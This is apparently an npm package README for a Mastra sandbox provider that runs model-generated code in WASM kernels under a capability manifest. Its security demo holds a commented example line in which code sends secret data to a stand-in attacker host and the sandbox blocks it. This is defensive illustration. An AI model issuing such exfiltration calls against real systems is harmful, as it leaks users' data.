@wasmagent/mastra-sandbox
v1.0.3
Published
Mastra sandbox provider backed by wasmagent kernels — WASM isolation with no external infrastructure (alternative to Blaxel/E2B providers)
Maintainers
Readme
/mastra-sandbox
A Mastra sandbox provider backed by wasmagent kernels. WASM isolation with no external infrastructure — drop-in alternative to Blaxel / E2B / Daytona providers.
Why this exists
Mastra (mastra.ai) opened its sandbox-provider contract in 2026-02 so users can plug in a custom code-execution backend. The defaults are service-backed (Blaxel-hosted, E2B-hosted) — fine if you're already paying for one of those, awkward when you're not.
This package ships a Mastra sandbox provider that delegates to any wasmagent
kernel. WASM kernels (QuickJSKernel, PyodideKernel, WasmtimeKernel) run
in-process, on every Workers edge, with sub-100ms cold start — no API key,
no account, no billing.
Compared to Blaxel / E2B providers
| | wasmagent kernel | Blaxel / E2B sandbox | | ------------ | --------------- | -------------------- | | Cold start | ~50 ms | 200–800 ms | | Cost / call | $0 (in-process) | per-second billing | | Isolation | Language-level | Process / firecracker | | Workers safe | ✅ | ❌ (server required) | | Snapshots | ✅ (Wasmtime) | ✅ (image-level) |
Use a WASM kernel when "model wrote a snippet to do math / parse JSON / try something" is the workload. Use Blaxel/E2B when you need full POSIX, native binaries, or untrusted multi-tenant isolation across mutually-distrusting customers.
Before / After
Replacing the E2B / Blaxel sandbox provider with a wasmagent WASM kernel:
-import { e2bSandbox } from "@mastra/e2b";
-
-const mastra = new Mastra({
- sandbox: e2bSandbox(), // ← needs E2B account + API key + network
-});
+import { createMastraSandbox } from "@wasmagent/mastra-sandbox";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+
+const mastra = new Mastra({
+ sandbox: createMastraSandbox({
+ kernel: new QuickJSKernel(), // ← in-process, no API key
+ capabilities: { allowedHosts: ["api.example.com"] },
+ }),
+});Drop-in replacement: same execute(code, opts) → { output } contract that
Mastra calls into, zero infrastructure changes, no billing.
Install
npm install /mastra-sandbox /kernel-quickjs \
quickjs-emscripten @jitl/quickjs-wasmfile-release-syncUse it
import { Agent } from "@mastra/core";
import { QuickJSKernel } from "/kernel-quickjs";
import { createMastraSandbox } from "/mastra-sandbox";
const sandbox = createMastraSandbox({
kernel: new QuickJSKernel({ timeoutMs: 5_000 }),
capabilities: {
allowedHosts: ["api.example.com"],
cpuMs: 5_000,
memoryLimitBytes: 64 * 1024 * 1024,
env: { OPENAI_API_KEY: process.env.OPENAI_API_KEY ?? "" },
},
});
const agent = new Agent({
name: "my-agent",
// …whichever Mastra config wires sandboxes (e.g. tools.execute_code,
// workspace runtime, etc.). The provider implements the
// execute(code, options) -> { output, stderr, exitCode } contract Mastra
// calls into; consult Mastra's docs for the latest wiring path.
tools: { sandbox },
});Kernel selection — pick the right tier
createMastraSandbox() accepts any wasmagent kernel. The choice is
independent of the Mastra integration — drop a different kernel into the
same kernel: slot and the rest of your code is unchanged:
| Kernel | When to pick it | Edge-safe |
| ------ | --------------- | --------- |
| QuickJSKernel (/kernel-quickjs) | Default. JS/TS workloads. ~2 MB cold start. | ✅ |
| PyodideKernel (/kernel-pyodide) | Model emits Python (numpy, pandas, regex-heavy). | ✅ (heavy) |
| WasmtimeKernel (/kernel-wasmtime) | Multi-language WASM modules / Javy-compiled JS for max isolation. | ✅ |
| RemoteSandboxKernel (/kernel-remote) | Need full POSIX, native binaries, multi-tenant trust. Backed by E2B / Cloudflare Sandbox. | n/a |
Swap is a one-liner — kernel: new QuickJSKernel() becomes kernel: new PyodideKernel(). Same CapabilityManifest, same provider contract, same Mastra Workspace API.
Security demo
CapabilityManifest enforces network and filesystem policy at the kernel
boundary — the model cannot escape it regardless of what code it generates:
import { createMastraSandbox } from "@wasmagent/mastra-sandbox";
import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
const sandbox = createMastraSandbox({
kernel: new QuickJSKernel(),
capabilities: {
allowedHosts: [], // no outbound network
allowedPaths: [], // no filesystem access
cpuMs: 5_000,
memoryLimitBytes: 64 * 1024 * 1024,
},
});
// Model-generated code that tries to exfiltrate data:
// fetch("https://attacker.example/exfil?data=secret")
// → throws: network access denied — host "attacker.example" not in allowedHostsThe same manifest applies whether the script was triggered by a Mastra Agent,
a workflow step, or a direct sandbox.execute() call.
Capability manifest
Every kernel honours the same CapabilityManifest:
| Field | What it gates |
| ------------------- | -------------------------------------------- |
| allowedHosts | Outbound fetch() (glob host allow-list) |
| allowedReadPaths | __fs__.readFile(path) |
| allowedWritePaths | __fs__.writeFile(path, data) |
| env | Frozen __env__ map exposed inside sandbox |
| cpuMs | Per-call timeout (tightens kernel default) |
| memoryLimitBytes | Hard runtime memory cap (where supported) |
The provider also accepts per-call timeout and env in
execute(code, options) — these tighten / merge into the provider-level
manifest at call time.
See also
docs/guides/code-mode.md— the same kernels behind a standalone MCP server./aisdk— the same kernels as Vercel AI SDK tools.
